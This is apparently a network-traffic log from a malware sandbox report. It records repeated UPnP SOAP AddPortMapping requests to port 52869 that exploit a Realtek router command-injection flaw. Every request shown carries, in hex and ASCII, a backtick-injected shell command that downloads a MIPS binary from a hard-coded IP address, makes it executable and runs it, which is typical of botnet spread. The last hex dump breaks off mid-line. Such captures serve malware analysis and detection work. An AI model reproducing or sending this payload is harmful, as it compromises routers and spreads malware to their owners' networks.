                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.887404919 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:01.239280939 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:09.943075895 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.094480991 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      162192.168.2.154836245.120.78.11652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:53.135190964 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:57.143416882 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:03.287172079 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 